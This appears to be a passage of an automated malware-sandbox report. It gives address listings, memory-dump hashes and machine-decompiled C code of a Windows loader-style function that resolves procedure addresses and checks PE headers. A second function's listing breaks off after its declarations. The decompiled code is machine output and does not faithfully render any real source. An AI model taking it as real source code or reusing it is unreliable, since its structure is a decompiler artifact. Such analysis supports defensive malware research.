0x033f43bb
0x033f43bb
0x033f43ad
0x033f436e
0x033f43bf
0x033f43c5
0x033f4463
0x033f4463
0x033f43ce
0x033f43d5
0x033f43d9
0x033f43df
0x033f4475
0x033f4479
0x033f4491
0x033f4491
0x033f4479
0x033f43e5
0x033f43eb
0x033f43f4
0x033f43f6
0x033f43f9
0x033f43fc
0x033f43ff
0x033f44e8
0x033f44ed
0x033f44f3
0x0343e247
0x00000000
0x033f44f9
0x033f4504
0x033f4508
0x033f450f
0x0343e269
0x00000000
0x033f4515
0x033f4519
0x033f4531
0x033f4534
0x033f4537
0x033f453e
0x033f4541
0x033f454a
0x0343e255
0x0343e255
0x0343e25b
0x0343e25e
0x0343e261
0x0343e261
0x033f4555
0x033f4559
0x033f455d
0x0343e26d
0x0343e270
0x0343e274
0x0343e27a
0x0343e27d
0x0343e28e
0x0343e28e
0x033f4563
0x033f4563
0x033f4569
0x033f4569
0x00000000
0x033f455d
0x033f450f
0x00000000
0x033f44f3
0x033f43ff
0x033f4405
0x033f4405
0x033f4405
0x033f42ac
0x033f428c
0x033f4282
0x033f4407
0x033f440d
0x0343e2af
0x0343e2af
0x033f4413
0x033f4413
0x00000000
0x033f41d4
0x00000000
0x033f41c3
0x033f41bd
0x033f4415
0x033f4415
0x033f4416
0x033f4417
0x033f4429
0x033f416e
0x033f416e
0x033f4175
0x033f4498
0x033f449f
0x0343e12d
0x00000000
0x0343e133
0x00000000
0x0343e133
0x033f44a5
0x033f44a5
0x033f44aa
0x00000000
0x033f44bb
0x033f44ca
0x033f44d6
0x033f44d7
0x033f44d8
0x033f44e3
0x033f44e3
0x033f44aa
0x033f417b
0x033f417b
0x033f417b
0x00000000
0x033f417b
0x033f4175
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d47b6d419dd329ff66ee73fd57ebf317055bb408cfa8ba8de75c0f1baface401
Instruction ID: d147988297e1813cb5f3f67226e492b221cd95f55078b1ab29f445fdebdb6fa1
Opcode Fuzzy Hash: d47b6d419dd329ff66ee73fd57ebf317055bb408cfa8ba8de75c0f1baface401
Instruction Fuzzy Hash: BDF18B756087118FC724CF1AC480A3BB7E5EF89704F88496EF59A8B3A0E734D895CB56

Uniqueness

Uniqueness Score: -1.00%

Function 033ED5E0, Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E033ED5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				intOrPtr _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				intOrPtr _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				intOrPtr* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x34cd360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E033E6600(0x34c52d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x34c7b9c; // 0x0
							_t281 = L033F4620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E0341F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x34c7b90; // 0x770b0000
								if(_t384 == 0) {
									_t353 =  *0x34c7b8c; // 0x2f81d30
									_v176 = _t353;
									_t63 = _t353 + 0x50; // 0x2f83f68
									_t64 =  *_t63 + 0x20; // 0x9
									_t320 =  *_t64;
									_v184 = _t320;
								} else {
									E033F2280(_t200, 0x34c84d8);
									_t277 =  *0x34c85f4; // 0x2f82d60
									_t351 =  *0x34c85f8 & 1;
									while(_t277 != 0) {
										_t21 = _t277 - 0x50; // 0x768d0000
										_t337 =  *_t21;
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t23 = _t277 - 0x18; // 0x2f82da8
													_t340 =  *_t23;
													_t24 = _t277 - 0x68; // 0x2f82cf8
													_t353 = _t24;
													_v176 = _t353;
													__eflags =  *((intOrPtr*)(_t340 + 0xc)) - 0xffffffff;
													if( *((intOrPtr*)(_t340 + 0xc)) != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t30 = _t353 + 0x50; // 0x2f82da8
															_t340 =  *_t30;
														}
													}
													_t31 = _t340 + 0x20; // 0x9
													_v184 =  *_t31;
												}
											} else {
												_t22 = _t277 + 4; // 0x2f82fa0
												_t339 =  *_t22;
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E033EFFB0(_t287, _t353, 0x34c84d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E0342CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E033E6600(0x34c52d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E033E7926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x34cb239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E0345E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x34c8472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x34cb218; // 0x0
														asm("ror edi, cl");
														 *0x34cb1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E033F2280(_t250, 0x34c84d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L03413898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E033EFFB0(_t293, _t353, 0x34c84d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E034137F5(_t353, 0);
																}
																E03410413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E03409B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E034002D6(_t174);
																}
																L033F77F0( *0x34c7b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E0340C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L033EEC7F(_t353);
										L034019B8(_t287, 0, _t353, 0);
										_t200 = E033DF4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E0341B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x34cb2f8; // 0xa10000
									if((_t206 |  *0x34cb2fc) == 0 || ( *0x34cb2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x34cb2ec; // 0x100
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E03486B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E03486AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E033EE9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L033EEAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E03419730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E033EE9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L033E8F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E03413C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x033ed5f2
0x033ed5f5
0x033ed5f5
0x033ed5fd
0x033ed600
0x033ed60a
0x033ed60d
0x033ed617
0x033ed61d
0x033ed627
0x033ed62e
0x033ed911
0x033ed913
0x00000000
0x033ed919
0x033ed919
0x033ed919
0x033ed634
0x033ed634
0x033ed634
0x033ed634
0x033ed640
0x033ed8bf
0x00000000
0x033ed646
0x033ed646
0x033ed64d
0x033ed652
0x0343b2fc
0x0343b2fc
0x0343b302
0x0343b33b
0x0343b341
0x00000000
0x0343b304
0x0343b304
0x0343b319
0x0343b31e
0x0343b324
0x0343b326
0x0343b332
0x0343b347
0x0343b34c
0x0343b351
0x0343b35a
0x00000000
0x0343b328
0x0343b328
0x00000000
0x0343b328
0x0343b326
0x033ed658
0x033ed658
0x033ed65b
0x033ed665
0x00000000
0x033ed66b
0x033ed66b
0x033ed66b
0x033ed66b
0x033ed66d
0x033ed672
0x033ed67a
0x00000000
0x00000000
0x033ed680
0x033ed686
0x033ed8ce
0x033ed8d4
0x033ed8da
0x033ed8dd
0x033ed8dd
0x033ed8e0
0x033ed68c
0x033ed691
0x033ed69d
0x033ed6a2
0x033ed6a7
0x033ed6b0
0x033ed6b0
0x033ed6b5
0x033ed6e0
0x033ed6b7
0x033ed6b7
0x033ed6b9
0x033ed6b9
0x033ed6bb
0x033ed6bd
0x033ed6ce
0x033ed6d0
0x033ed6d2
0x0343b363
0x0343b365
0x00000000
0x0343b36b
0x00000000
0x0343b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x033ed6bf
0x033ed6bf
0x033ed6e5
0x033ed6e7
0x033ed6e9
0x033ed6e9
0x033ed6ec
0x033ed6ec
0x033ed6ef
0x033ed6f5
0x033ed6f9
0x033ed6fb
0x033ed6fd
0x033ed701
0x033ed703
0x033ed70a
0x033ed70a
0x033ed70a
0x033ed701
0x033ed70d
0x033ed710
0x033ed710
0x033ed6c1
0x033ed6c1
0x033ed6c1
0x033ed6c6
0x0343b36d
0x0343b36f
0x00000000
0x0343b375
0x0343b375
0x0343b375
0x00000000
0x0343b375
0x00000000
0x033ed6cc
0x033ed6d8
0x033ed6d8
0x033ed6d8
0x00000000
0x033ed6c6
0x033ed6bf
0x00000000
0x033ed6da
0x033ed6da
0x033ed716
0x033ed71b
0x033ed720
0x033ed726
0x033ed726
0x033ed72d
0x00000000
0x033ed733
0x033ed739
0x033ed742
0x033ed750
0x033ed758
0x033ed764
0x033ed776
0x033ed77a
0x033ed783
0x033ed928
0x033ed92c
0x033ed93d
0x033ed944
0x033ed94f
0x033ed954
0x033ed956
0x033ed95f
0x033ed961
0x033ed973
0x033ed973
0x033ed956
0x033ed944
0x033ed92c
0x033ed78b
0x0343b394
0x033ed791
0x033ed798
0x0343b3a3
0x0343b3bb
0x0343b3bb
0x033ed7a5
0x033ed866
0x033ed870
0x033ed884
0x033ed892
0x033ed898
0x033ed89e
0x033ed8a0
0x033ed8a6
0x033ed8ac
0x033ed8ae
0x033ed8b4
0x033ed8b4
0x033ed8ae
0x033ed7a5
0x033ed78b
0x033ed7b1
0x0343b3c5
0x0343b3c5
0x033ed7c3
0x033ed7ca
0x033ed7e5
0x033ed7eb
0x033ed8eb
0x033ed8ed
0x00000000
0x033ed8f3
0x033ed8f3
0x033ed8f3
0x00000000
0x033ed8ed
0x033ed7cc
0x033ed7cc
0x033ed7d2
0x00000000
0x033ed7d4
0x033ed7d4
0x033ed7d7
0x033ed7df
0x0343b3d4
0x0343b3d9
0x0343b3dc
0x0343b3dc
0x0343b3df
0x0343b3e2
0x0343b468
0x0343b46d
0x0343b46f
0x0343b46f
0x0343b475
0x033ed8f8
0x033ed8f9
0x033ed8fd
0x0343b3e8
0x0343b3e8
0x0343b3eb
0x0343b3ed
0x00000000
0x0343b3ef
0x0343b3ef
0x0343b3f1
0x0343b3f4
0x0343b3fe
0x0343b404
0x0343b409
0x0343b40e
0x0343b410
0x0343b410
0x0343b414
0x0343b414
0x0343b41b
0x0343b420
0x0343b423
0x0343b425
0x0343b427
0x0343b42a
0x0343b42d
0x0343b42d
0x0343b42a
0x0343b432
0x0343b436
0x0343b438
0x0343b43b
0x0343b43b
0x0343b449
0x0343b44e
0x0343b454
0x0343b458
0x0343b458
0x0343b45d
0x00000000
0x0343b45d
0x0343b3ed
0x00000000
0x00000000
0x00000000
0x033ed7df
0x033ed7d2
0x033ed7ca
0x0343b37c
0x0343b37e
0x0343b385
0x0343b38a
0x00000000
0x0343b38a
0x033ed742
0x033ed7f1
0x033ed7f8
0x0343b49b
0x0343b49b
0x033ed800
0x033ed837
0x033ed843
0x033ed845
0x033ed847
0x033ed84a
0x033ed84b
0x033ed84e
0x033ed857
0x033ed802
0x033ed802
0x033ed80d
0x00000000
0x033ed818
0x033ed818
0x033ed824
0x033ed831
0x0343b4a5
0x0343b4ab
0x0343b4b3
0x0343b4b8
0x0343b4bb
0x00000000
0x0343b4c1
0x0343b4c1
0x0343b4c8
0x00000000
0x0343b4ce
0x0343b4d4
0x0343b4e1
0x0343b4e3
0x0343b4e5
0x00000000
0x0343b4eb
0x0343b4f0
0x0343b4f2
0x033edac9
0x033edacc
0x033edacf
0x033edad1
0x033edd78
0x033edd78
0x033edcf2
0x00000000
0x033edad7
0x033edad9
0x033edadb
0x00000000
0x00000000
0x033edae1
0x033edae1
0x033edae4
0x033edae6
0x0343b4f9
0x0343b4f9
0x0343b500
0x033edaec
0x033edaec
0x033edaf5
0x033edaf8
0x033edafb
0x033edb03
0x033edb11
0x033edb16
0x033edb19
0x033edb1b
0x0343b52c
0x0343b531
0x0343b534
0x033edb21
0x033edb21
0x033edb24
0x033edcd9
0x033edce2
0x033edce5
0x033edd6a
0x033edd6d
0x00000000
0x033edd73
0x0343b51a
0x0343b51c
0x0343b51f
0x0343b524
0x00000000
0x0343b524
0x033edce7
0x033edce7
0x033edce7
0x00000000
0x033edce7
0x00000000
0x033edb2a
0x033edb2c
0x033edb31
0x033edb33
0x033edb36
0x033edb39
0x033edb3b
0x033edb66
0x033edb66
0x033edb3d
0x033edb3d
0x033edb3e
0x033edb46
0x033edb47
0x033edb49
0x033edb4c
0x033edb53
0x033edb55
0x033edb58
0x033edb5a
0x0343b50a
0x0343b50f
0x0343b512
0x033edb60
0x033edb60
0x033edb63
0x033edb63
0x00000000
0x033edb63
0x033edb5a
0x033edb3b
0x033edb24
0x033edb69
0x033edb69
0x033edb6c
0x033edb6f
0x033edb74
0x0343b557
0x0343b557
0x0343b55e
0x033edb7a
0x033edb7c
0x033edb7f
0x033edb82
0x033edb85
0x00000000
0x033edb8b
0x033edb8b
0x033edb8d
0x033edb9b
0x033edb9b
0x033edb9d
0x033edba0
0x033edba2
0x033edba4
0x033edba7
0x033edba9
0x033edbae
0x033edbae
0x033edbb1
0x033edbb4
0x033edbb4
0x033edbb7
0x033edbba
0x033edcd2
0x033edcd4
0x00000000
0x033edbc0
0x033edbc0
0x033edbd2
0x033edbd7
0x033edbda
0x033edbdd
0x033edbdf
0x00000000
0x033edbe5
0x033edbe5
0x033edbee
0x033edbf1
0x0343b541
0x0343b544
0x00000000
0x0343b546
0x0343b546
0x00000000
0x0343b546
0x033edbf7
0x033edbf7
0x033edbfd
0x033edbfd
0x033edbff
0x033edc0b
0x033edc15
0x033edc1b
0x033edc1d
0x033edc21
0x033edc21
0x033edc23
0x033edc23
0x033edc26
0x033edc29
0x033edc2b
0x00000000
0x00000000
0x033edc31
0x033edc34
0x033edc36
0x033edcbf
0x033edcbf
0x033edcc2
0x00000000
0x033edc3c
0x033edc41
0x033edc43
0x00000000
0x033edc45
0x033edc45
0x033edc47
0x00000000
0x033edc4d
0x033edc4d
0x033edc50
0x033edc52
0x033edc55
0x033edcfa
0x033edcfe
0x033edd08
0x033edd0a
0x033edd0c
0x00000000
0x033edd12
0x033edd15
0x033edd2d
0x033edd2f
0x033edd32
0x033edd35
0x00000000
0x033edd35
0x033edc5b
0x033edc5b
0x033edc5e
0x033edc61
0x033edc64
0x033edc67
0x033edc67
0x033edc6a
0x033edc6c
0x033edc8e
0x033edc8e
0x033edc91
0x033edc93
0x033edcce
0x033edcce
0x033edc95
0x033edc9c
0x033edc6e
0x033edc72
0x033edc75
0x033edc77
0x033edc79
0x0343b551
0x0343b551
0x00000000
0x033edc7f
0x033edc7f
0x033edc81
0x00000000
0x033edc83
0x033edc86
0x033edc88
0x00000000
0x00000000
0x00000000
0x00000000
0x033edc88
0x033edc81
0x033edc79
0x033edc6c
0x033edc55
0x033edc47
0x033edc43
0x00000000
0x033edc36
0x033edc23
0x00000000
0x033edbff
0x033edbf1
0x033edbdf
0x033edb8f
0x033edb92
0x033edb95
0x00000000
0x00000000
0x00000000
0x00000000
0x033edb95
0x033edb8d
0x033edb85
0x033edb74
0x033edc9f
0x033edca2
0x033edcb0
0x033edcb0
0x033edad1
0x0343b4e5
0x0343b4c8
0x00000000
0x00000000
0x00000000
0x033ed831
0x033ed80d
0x00000000
0x033ed800
0x0343b47f
0x0343b485
0x00000000
0x0343b485
0x033ed665
0x033ed652
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a21d6b5b3e6fa993693dc01ecc23a5168b5b92a5df2446326e167d4bddf99da6
Instruction ID: 74131793a658440e435199db98c24934796f8acc6d4ef94f74124aec4a9c4d05
Opcode Fuzzy Hash: a21d6b5b3e6fa993693dc01ecc23a5168b5b92a5df2446326e167d4bddf99da6
Instruction Fuzzy Hash: CDE1B034A00369CFDB24DF14C884BAAB7B5FF46304F0801AAE909AF6D1D774A981CF56

Uniqueness

Uniqueness Score: -1.00%

Function 033E849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E033E849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
